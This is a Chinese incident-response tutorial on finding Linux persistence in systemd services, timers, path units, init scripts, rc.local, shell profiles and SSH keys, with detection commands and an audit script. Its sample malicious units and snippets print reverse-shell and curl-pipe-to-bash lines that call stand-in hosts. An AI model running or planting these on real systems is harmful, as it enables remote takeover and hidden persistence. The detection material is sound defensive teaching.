08-服务与启动项审计 (Services & Startup Audit) 在 Linux 应急响应中,服务与启动项 是攻击者实现持久化的关键目标。通过创建或篡改系统服务,攻击者可以让恶意代码在每次系统启动时自动运行,甚至在被终止后自动重启。本章系统介绍 Systemd 服务、SysVinit、rc.local 以及其他自启动位置的排查方法。
计划任务(crontab、at、systemd timer)的排查已在 07-计划任务审计 中详细讲解,本章聚焦于服务与启动项。
1. Systemd 服务排查 Systemd 是目前绝大多数主流 Linux 发行版(Ubuntu 16.04+、CentOS 7+、Debian 8+)的默认 init 系统。理解 systemd 的服务管理机制是排查启动项后门的基础。
1.1 基本排查命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 systemctl list-unit-files --type =service systemctl list-unit-files --type =service --state=enabled systemctl list-units --type =service --state=running systemctl status sshd.service systemctl cat sshd.service systemctl show sshd.service systemctl list-dependencies sshd.service
1.2 服务文件位置与优先级 Systemd 的 unit 文件分布在多个目录,优先级从高到低:
优先级
目录
说明
来源
最高
/etc/systemd/system/
管理员自定义
手动创建或 systemctl edit
高
/run/systemd/system/
运行时临时
程序运行时生成,重启后消失
中
/usr/lib/systemd/system/
包管理器安装
rpm/deb 包提供
低
/usr/lib/systemd/system/ (Debian 也用 /lib/systemd/system/)
包管理器安装
同上
用户级
~/.config/systemd/user/
用户自定义服务
用户手动创建
排查要点 :
/etc/systemd/system/ 中的文件优先级最高,会覆盖包管理器提供的同名文件。攻击者可能在此创建新服务或覆盖已有服务。
/run/systemd/system/ 中的文件重启后消失,攻击者可能用它配合其他持久化手段。
用户级服务 ~/.config/systemd/user/ 常被忽略,但攻击者可以利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 echo "=== /etc/systemd/system/ ===" ls -la /etc/systemd/system/*.service 2>/dev/nullls -la /etc/systemd/system/*/*.service 2>/dev/nullecho "=== /run/systemd/system/ ===" ls -la /run/systemd/system/*.service 2>/dev/nullecho "=== /usr/lib/systemd/system/ ===" ls -la /usr/lib/systemd/system/*.service 2>/dev/null | tail -20echo "=== /lib/systemd/system/ (Debian) ===" ls -la /lib/systemd/system/*.service 2>/dev/null | tail -20for home in /home/* /root; do dir ="$home /.config/systemd/user" if [ -d "$dir " ]; then echo "=== $dir ===" ls -la "$dir " /*.service 2>/dev/null fi done
1.3 Service 文件格式详解 理解 service 文件格式是判断其是否恶意的基础:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [Unit] Description =OpenSSH server daemonDocumentation =man:sshd(8 ) man:sshd_config(5 )After =network.target sshd-keygen.targetWants =sshd-keygen.target[Service] Type =notifyEnvironmentFile =-/etc/sysconfig/sshdExecStart =/usr/sbin/sshd -D $OPTIONS ExecReload =/bin/kill -HUP $MAINPID KillMode =processRestart =on -failureRestartSec =42 s[Install] WantedBy =multi-user.target
[Unit] 段 :
Description — 服务描述
After — 在哪些 unit 之后启动
Wants — 弱依赖
Requires — 强依赖
[Service] 段(最重要) :
Type — 服务类型(simple, forking, oneshot, notify, dbus, idle)
ExecStart — 主要执行命令 (重点检查对象)
ExecStartPre — 启动前执行(攻击者可能在此植入恶意命令)
ExecStartPost — 启动后执行(同上)
ExecStop — 停止命令
ExecReload — 重载命令
Restart — 重启策略(always, on-failure, on-abnormal 等)
RestartSec — 重启间隔
User / Group — 运行身份
WorkingDirectory — 工作目录
Environment / EnvironmentFile — 环境变量
[Install] 段 :
WantedBy — 被哪个 target 依赖(multi-user.target 表示开机自启)
RequiredBy — 被哪个 target 强依赖
Also — 启用时同时启用的其他 unit
1.4 恶意 Service 特征识别 以下特征是恶意服务的高危信号 :
ExecStart 包含可疑命令 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ExecStart =/bin/bash -c 'curl http://evil.com/payload | bash' ExecStart =/tmp/.hidden/backdoorExecStart =/dev/shm/.updateExecStart =/bin/bash -c 'wget -q -O /tmp/.x http://evil.com/x && chmod +x /tmp/.x && /tmp/.x' ExecStart =/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4443 0>&1' ExecStart =/usr/bin/python3 -c "import socket,os,pty;s=socket.socket();s.connect(('10.0.0.1',4443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" ExecStart =/bin/bash -c 'mkfifo /tmp/.f; cat /tmp/.f | /bin/sh -i 2>&1 | nc 10.0.0.1 4443 > /tmp/.f'
自动重启配置 :
1 2 3 Restart =alwaysRestartSec =10
开机自启配置 :
1 2 3 [Install] WantedBy =multi-user.target
综合检测命令 :
1 2 3 4 5 6 7 8 9 10 11 grep -rn "ExecStart" /etc/systemd/system/ /run/systemd/system/ 2>/dev/null | \ grep -iP "(bash -c|curl|wget|/tmp/|/dev/shm|/dev/tcp|python|perl|ruby|nc\s|ncat|base64|socket)" grep -rn "ExecStartPre\|ExecStartPost" /etc/systemd/system/ 2>/dev/null | \ grep -iP "(bash|curl|wget|/tmp/|/dev/shm)" find /etc/systemd/system /run/systemd/system /usr/lib/systemd/system \ -name "*.service" -mtime -7 -ls 2>/dev/null
1.5 恶意 Service 真实样本 样本1:伪装成系统更新服务的反弹 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 [Unit] Description =System Update ServiceAfter =network-on line.targetWants =network-on line.target[Service] Type =simpleExecStart =/bin/bash -c 'while true; do bash -i >& /dev/tcp/203.0.113.42/8443 0>&1; sleep 60; done' Restart =alwaysRestartSec =30 [Install] WantedBy =multi-user.target
样本2:使用脚本文件的后门服务
1 2 3 4 5 6 7 8 9 10 11 12 13 [Unit] Description =Log Collection AgentAfter =network.target[Service] Type =forkingExecStart =/opt/.config/svc/agentRestart =on -failureRestartSec =60 [Install] WantedBy =multi-user.target
其中 /opt/.config/svc/agent 是攻击者放置的恶意二进制文件。
样本3:利用 ExecStartPre 的隐蔽后门
1 2 3 4 [Service] ExecStartPre =/bin/bash -c 'nohup /tmp/.updater &'
这种手法通过修改合法服务的 drop-in 配置,在服务启动前执行恶意命令,非常隐蔽。
1 2 3 4 5 find /etc/systemd/system -name "*.conf" -path "*.d/*" -ls 2>/dev/null find /etc/systemd/system -name "*.conf" -path "*.d/*" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null
2. Systemd Timer 排查(定时触发的服务) Systemd Timer 与 Service 是配对使用的。Timer 定义触发时机,Service 定义执行内容。
2.1 Timer + Service 配对机制 当一个 timer 单元被激活时,它会自动启动同名的 service 单元(除非在 Unit= 中指定了不同的 service)。
1 2 3 4 5 6 7 8 9 10 [Unit] Description =Malware Disguised as Update Timer[Timer] OnCalendar =*:0 /5 Persistent =true [Install] WantedBy =timers.target
1 2 3 4 5 6 7 [Unit] Description =Malware Disguised as Update Service[Service] Type =on eshotExecStart =/bin/bash -c 'curl -fsSL http://evil.com/payload | bash'
2.2 排查命令 1 2 3 4 5 6 7 8 9 10 11 12 13 systemctl list-timers --all --no-pager for timer in $(systemctl list-unit-files --type =timer --no-pager | grep -v "^$\|UNIT\|listed" | awk '{print $1}' ); do echo "====== $timer ======" systemctl cat "$timer " 2>/dev/null svc=$(echo "$timer " | sed 's/\.timer/.service/' ) echo "--- 关联服务: $svc ---" systemctl cat "$svc " 2>/dev/null echo "" done
2.3 恶意 Timer 检测要点 高频触发 :每分钟或每几分钟触发一次
Persistent=true :确保错过的执行会补上
关联 service 的 ExecStart 可疑
timer 文件不属于任何已安装的包
1 2 3 4 5 6 7 8 9 10 11 12 for f in /etc/systemd/system/*.timer; do [ -f "$f " ] || continue base=$(basename "$f " ) pkg_debian=$(dpkg -S "$f " 2>/dev/null) pkg_centos=$(rpm -qf "$f " 2>/dev/null) if [ -z "$pkg_debian " ] && [ -z "$pkg_centos " ]; then echo "[!] 非包管理器安装: $f " cat "$f " echo "" fi done
3. Systemd Path 排查(文件变化触发的服务) Systemd Path unit 可以监控文件或目录的变化,当文件出现、修改或被删除时触发关联的 service。
3.1 Path Unit 格式 1 2 3 4 5 6 7 8 9 10 11 12 [Unit] Description =Monitor trigger file[Path] PathExists =/tmp/.trigger[Install] WantedBy =multi-user.target
3.2 攻击者利用场景 场景1 :监控 /tmp/.trigger 文件,攻击者只需创建该文件即可触发恶意 service 执行。
场景2 :监控 /etc/crontab,当管理员修改 crontab(可能是在清除恶意条目)时自动重新植入。
场景3 :监控 /var/log/auth.log,在新的登录事件发生时触发某些操作。
3.3 排查命令 1 2 3 4 5 6 7 8 9 10 11 12 13 systemctl list-units --type =path --all --no-pager systemctl list-unit-files --type =path --no-pager for p in $(systemctl list-unit-files --type =path --no-pager | grep -v "^$\|UNIT\|listed" | awk '{print $1}' ); do echo "====== $p ======" systemctl cat "$p " 2>/dev/null echo "" done find /etc/systemd/system -name "*.path" -ls 2>/dev/null
4. SysVinit 排查 虽然大多数现代发行版已使用 Systemd,但 SysVinit 兼容层仍然存在,攻击者可能利用旧式 init 脚本来隐藏后门。
4.1 /etc/init.d/ 脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ls -la /etc/init.d/for f in /etc/init.d/*; do [ -f "$f " ] && echo "=== $f ===" && head -20 "$f " && echo "..." done find /etc/init.d/ -type f -mtime -30 -ls for f in /etc/init.d/*; do [ -f "$f " ] || continue result=$(dpkg -S "$f " 2>/dev/null) if [ -z "$result " ]; then echo "[!] 未知来源: $f " fi done for f in /etc/init.d/*; do [ -f "$f " ] || continue result=$(rpm -qf "$f " 2>/dev/null) if echo "$result " | grep -q "not owned" ; then echo "[!] 未知来源: $f " fi done
4.2 运行级别 (Runlevel) SysVinit 使用运行级别来管理服务启停:
运行级别
含义
0
关机
1 / S
单用户模式
2
多用户(Debian 默认)
3
多用户 + 网络(CentOS 默认)
4
未使用
5
多用户 + 网络 + GUI
6
重启
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ls -la /etc/rc.d/rc3.d/ 2>/dev/null ls -la /etc/rc3.d/ 2>/dev/null for i in 0 1 2 3 4 5 6; do dir ="/etc/rc${i} .d" [ -d "$dir " ] || dir ="/etc/rc.d/rc${i} .d" if [ -d "$dir " ]; then echo "=== Runlevel $i : $dir ===" ls -la "$dir " 2>/dev/null | grep "^l" | head -10 fi done
4.3 chkconfig 和 update-rc.d 1 2 3 4 5 6 chkconfig --list 2>/dev/null sysv-rc-conf --list 2>/dev/null
5. rc.local 排查 rc.local 是一个在系统启动末尾执行的脚本,攻击者非常喜欢在此添加后门,因为它简单直接。
5.1 文件位置 1 2 3 4 5 6 7 8 cat /etc/rc.local 2>/dev/nullcat /etc/rc.d/rc.local 2>/dev/nullls -la /etc/rc.local 2>/dev/nullls -la /etc/rc.d/rc.local 2>/dev/nullstat /etc/rc.local 2>/dev/null
5.2 执行权限要求 在 Systemd 系统中,/etc/rc.local 需要有可执行权限 才会被执行:
1 2 3 4 5 6 7 8 ls -la /etc/rc.localsystemctl status rc-local.service 2>/dev/null systemctl cat rc-local.service 2>/dev/null
5.3 恶意 rc.local 示例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #!/bin/bash /usr/local/bin/start_monitoring.sh nohup bash -i >& /dev/tcp/203.0.113.42/4443 0>&1 &(sleep 60 && curl -fsSL http://evil.com/x.sh | bash) & exit 0
注意 :攻击者通常在文件的 exit 0 之前添加恶意命令,因为 exit 0 之后的内容不会执行。检查时务必阅读完整文件内容。
5.4 排查要点 1 2 3 4 5 6 7 8 cat -n /etc/rc.local 2>/dev/nullgrep -n "curl\|wget\|bash\|python\|perl\|nc \|ncat\|/dev/tcp\|/tmp/\|/dev/shm\|base64\|nohup" /etc/rc.local 2>/dev/null stat /etc/rc.local 2>/dev/null
6. 其他自启动位置 除了上述常见位置,攻击者还可能利用以下自启动机制。
6.1 Shell Profile 脚本 当用户登录时,Shell 会按顺序执行一系列 profile 脚本。攻击者可以在这些文件中植入后门,使其在每次登录时执行。
系统级 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat /etc/profilels -la /etc/profile.d/for f in /etc/profile.d/*.sh; do echo "=== $f ===" cat "$f " echo "" done cat /etc/environmentcat /etc/bash.bashrc 2>/dev/null cat /etc/bashrc 2>/dev/null
用户级 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for home in /home/* /root; do [ -d "$home " ] || continue echo "====== $home ======" for f in .bash_profile .bashrc .bash_login .profile .bash_logout; do [ -f "$home /$f " ] && echo "--- $f ---" && cat "$home /$f " && echo done for f in .zshrc .zprofile .zlogin .zlogout .zshenv; do [ -f "$home /$f " ] && echo "--- $f ---" && cat "$home /$f " && echo done done
恶意 profile 示例 :
1 2 3 4 5 6 7 8 9 (nohup bash -i >& /dev/tcp/10.0.0.1/4443 0>&1 &) 2>/dev/null alias sudo ='sudo ' (curl -fsSL http://evil.com/k.sh | bash &) 2>/dev/null
检测命令 :
1 2 3 4 5 grep -rn "curl\|wget\|/dev/tcp\|base64\|python.*socket\|perl.*socket\|nc -[elp]\|nohup\|/tmp/\.\|/dev/shm" \ /etc/profile /etc/profile.d/ /etc/bash.bashrc /etc/bashrc \ /home/*/.bashrc /home/*/.bash_profile /home/*/.profile \ /root/.bashrc /root/.bash_profile /root/.profile 2>/dev/null
6.2 SSH 相关自启动 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 for home in /home/* /root; do ak="$home /.ssh/authorized_keys" if [ -f "$ak " ]; then echo "=== $ak ===" grep "command=" "$ak " 2>/dev/null cat "$ak " echo "" fi done for home in /home/* /root; do rc="$home /.ssh/rc" if [ -f "$rc " ]; then echo "[!] 发现 SSH rc 文件: $rc " cat "$rc " fi done cat /etc/ssh/sshrc 2>/dev/null
SSH authorized_keys 中的 command= 选项特别危险:
1 2 3 4 5 ssh-rsa AAAA... user@host command ="/tmp/.backdoor" ssh-rsa AAAA... user@host
6.3 XDG Autostart (有 GUI 的系统) 如果服务器安装了桌面环境:
1 2 3 4 5 6 7 8 ls -la /etc/xdg/autostart/ 2>/dev/nullfor home in /home/*; do dir ="$home /.config/autostart" [ -d "$dir " ] && echo "=== $dir ===" && ls -la "$dir " 2>/dev/null done
6.4 /etc/ld.so.preload 通过 LD_PRELOAD 机制加载恶意共享库:
1 2 3 4 5 cat /etc/ld.so.preload 2>/dev/null
6.5 内核模块自动加载 1 2 3 4 5 6 7 8 9 cat /etc/modules 2>/dev/nullls -la /etc/modules-load.d/ 2>/dev/nullcat /etc/modules-load.d/*.conf 2>/dev/nulllsmod
7. 排查方法论 7.1 如何区分正常服务和恶意服务 核心思路是将服务文件追溯到其来源 。正常的服务应该属于某个已安装的软件包,而恶意服务通常不属于任何包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 dpkg -S /usr/lib/systemd/system/sshd.service dpkg -S /etc/systemd/system/evil.service rpm -qf /usr/lib/systemd/system/sshd.service rpm -qf /etc/systemd/system/evil.service
1 2 3 4 5 6 7 8 9 10 11 12 13 14 for f in /etc/systemd/system/*.service; do [ -f "$f " ] || continue [ -L "$f " ] && continue pkg=$(dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null) if [ -z "$pkg " ] || echo "$pkg " | grep -q "not owned\|no path found" ; then echo "[!] 不属于任何包: $f " echo " 创建时间: $(stat -c '%w' "$f " 2>/dev/null || stat -f '%SB' "$f " 2>/dev/null) " echo " ExecStart: $(grep "ExecStart" "$f " ) " echo "" fi done
7.2 检查服务文件的修改时间 1 2 3 4 5 6 find /etc/systemd/system /usr/lib/systemd/system /lib/systemd/system \ -name "*.service" -mtime -30 -ls 2>/dev/null stat /etc/systemd/system/suspicious.service
7.3 检查 ExecStart 指向的二进制文件 1 2 3 4 5 6 7 8 9 10 11 12 13 grep -rh "ExecStart=" /etc/systemd/system/*.service 2>/dev/null | while read -r line; do bin=$(echo "$line " | sed 's/ExecStart=//' | awk '{print $1}' | sed 's/^[-!+]//' ) if [ -n "$bin " ] && [ -f "$bin " ]; then pkg=$(dpkg -S "$bin " 2>/dev/null || rpm -qf "$bin " 2>/dev/null) if [ -z "$pkg " ] || echo "$pkg " | grep -q "not owned\|no path found" ; then echo "[!] 可疑二进制: $bin " echo " 文件信息: $(file "$bin " ) " echo " MD5: $(md5sum "$bin " ) " fi fi done
7.4 文件完整性对比 1 2 3 4 5 6 dpkg -V 2>/dev/null | grep "systemd\|init.d" rpm -Va 2>/dev/null | grep "systemd\|init.d"
8. 实战案例 8.1 案例:伪装成 system-update.service 的反弹 shell 服务 场景 :运维人员发现服务器上有异常外连流量,目标 IP 为 203.0.113.42:8443。网络层已确认该连接存在,需要找到源头。
排查过程 :
Step 1:通过网络连接定位进程
1 2 ss -tnp | grep "203.0.113.42"
Step 2:检查进程信息
1 2 3 4 5 6 7 8 ps -ef | grep 2847 ls -la /proc/2847/execat /proc/2847/cmdline | tr '\0' ' '
Step 3:追溯父进程
1 2 3 4 5 6 ps -ef | grep 2845 cat /proc/2845/cgroup
Step 4:检查 service 文件
1 2 3 4 5 6 7 8 systemctl status system-update.service systemctl cat system-update.service
Step 5:验证 service 文件来源
1 2 3 4 ls -la /etc/systemd/system/system-update.servicestat /etc/systemd/system/system-update.servicedpkg -S /etc/systemd/system/system-update.service
Step 6:处置
1 2 3 4 5 6 7 8 9 10 11 systemctl stop system-update.service systemctl disable system-update.service cp /etc/systemd/system/system-update.service /tmp/evidence/rm /etc/systemd/system/system-update.servicesystemctl daemon-reload ss -tnp | grep "203.0.113.42"
8.2 一键服务审计脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 #!/bin/bash RED='\033[0;31m' GREEN='\033[0;32m' YELLOW='\033[1;33m' NC='\033[0m' echo -e "${GREEN} ==========================================" echo " Linux 服务与启动项审计脚本" echo -e "==========================================${NC} " echo "执行时间: $(date) " echo "主机名: $(hostname) " echo "" echo -e "${YELLOW} [1/9] 已启用的 Systemd 服务${NC} " systemctl list-unit-files --type =service --state=enabled --no-pager echo "" echo -e "${YELLOW} [2/9] 自定义服务文件 (/etc/systemd/system/)${NC} " for f in /etc/systemd/system/*.service; do [ -f "$f " ] || continue [ -L "$f " ] && continue echo -e "${RED} [自定义] $f${NC} " grep "ExecStart\|ExecStartPre\|ExecStartPost" "$f " echo "" done echo -e "${YELLOW} [3/9] 可疑 ExecStart 检测${NC} " grep -rn "ExecStart" /etc/systemd/system/ /run/systemd/system/ 2>/dev/null | \ grep -iP "(bash -c|curl|wget|/tmp/|/dev/shm|/dev/tcp|python|perl|nc\s|ncat|base64|socket)" | \ while read -r line; do echo -e "${RED} [!] $line${NC} " ; done echo "" echo -e "${YELLOW} [4/9] Service Drop-in 覆盖文件${NC} " find /etc/systemd/system -name "*.conf" -path "*.d/*" 2>/dev/null | while read -r f; do echo -e "${RED} [drop-in] $f${NC} " cat "$f " echo "" done echo -e "${YELLOW} [5/9] Systemd Timer${NC} " systemctl list-timers --all --no-pager 2>/dev/null echo "" echo -e "${YELLOW} [6/9] Systemd Path Units${NC} " systemctl list-units --type =path --all --no-pager 2>/dev/null echo "" echo -e "${YELLOW} [7/9] rc.local 检查${NC} " for f in /etc/rc.local /etc/rc.d/rc.local; do if [ -f "$f " ]; then echo "--- $f ---" echo "权限: $(ls -la "$f " ) " cat "$f " echo "" fi done echo -e "${YELLOW} [8/9] 非标准 init.d 脚本${NC} " for f in /etc/init.d/*; do [ -f "$f " ] || continue pkg=$(dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null) if [ -z "$pkg " ] || echo "$pkg " | grep -q "not owned\|no path found" ; then echo -e "${RED} [!] 未知来源: $f${NC} " fi done echo "" echo -e "${YELLOW} [9/9] Shell Profile 后门检测${NC} " grep -rn "curl\|wget\|/dev/tcp\|base64\|python.*socket\|perl.*socket\|nc -[elp]\|nohup.*&\|/tmp/\.\|/dev/shm" \ /etc/profile /etc/profile.d/ /etc/bash.bashrc /etc/bashrc \ /home/*/.bashrc /home/*/.bash_profile /home/*/.profile \ /root/.bashrc /root/.bash_profile /root/.profile 2>/dev/null | \ while read -r line; do echo -e "${RED} [!] $line${NC} " ; done echo "" echo -e "${YELLOW} [*] 最近7天修改的 service/timer/path 文件${NC} " find /etc/systemd /usr/lib/systemd /lib/systemd /run/systemd \ \( -name "*.service" -o -name "*.timer" -o -name "*.path" \) \ -mtime -7 -ls 2>/dev/null echo "" echo -e "${GREEN} ==========================================" echo " 审计完成" echo -e "==========================================${NC} "
8.3 练习 练习目标 :在实验环境中执行完整的服务与启动项审计。
练习任务 :
创建一个恶意 systemd service,伪装成合法服务名称,设置为开机自启
创建一个 systemd timer + service 组合,每5分钟执行一次
在 /etc/rc.local 中添加一行恶意命令
在 /etc/profile.d/ 中创建一个后门脚本
在 SSH authorized_keys 中添加带 command= 的条目
使用审计脚本找出所有5个后门
完成后可参考 17-Systemd-Service后门 了解更多高级后门技术。
9. 总结与速查表 启动项排查清单
排查项
命令
备注
Systemd 服务(enabled)
systemctl list-unit-files --type=service --state=enabled
重点检查自定义服务
自定义 service 文件
ls /etc/systemd/system/*.service
排除符号链接
Service drop-in
find /etc/systemd/system -name "*.conf" -path "*.d/*"
可覆盖合法服务
Systemd Timer
systemctl list-timers --all
配对检查 service
Systemd Path
systemctl list-units --type=path --all
文件变化触发
SysVinit 脚本
ls /etc/init.d/
验证包归属
rc.local
cat /etc/rc.local
检查执行权限
Shell Profile
grep -rn 可疑关键词 /etc/profile.d/ ~/.bashrc
用户登录时执行
SSH 自启动
grep command= ~/.ssh/authorized_keys
SSH 登录触发
ld.so.preload
cat /etc/ld.so.preload
全局库劫持
内核模块
cat /etc/modules-load.d/*.conf
内核级持久化
用户级服务
ls ~/.config/systemd/user/*.service
每个用户检查
相关页面 17-Systemd-Service后门 — Systemd 后门的植入与检测深入分析
07-计划任务审计 — 计划任务(crontab、at、timer)的全面审计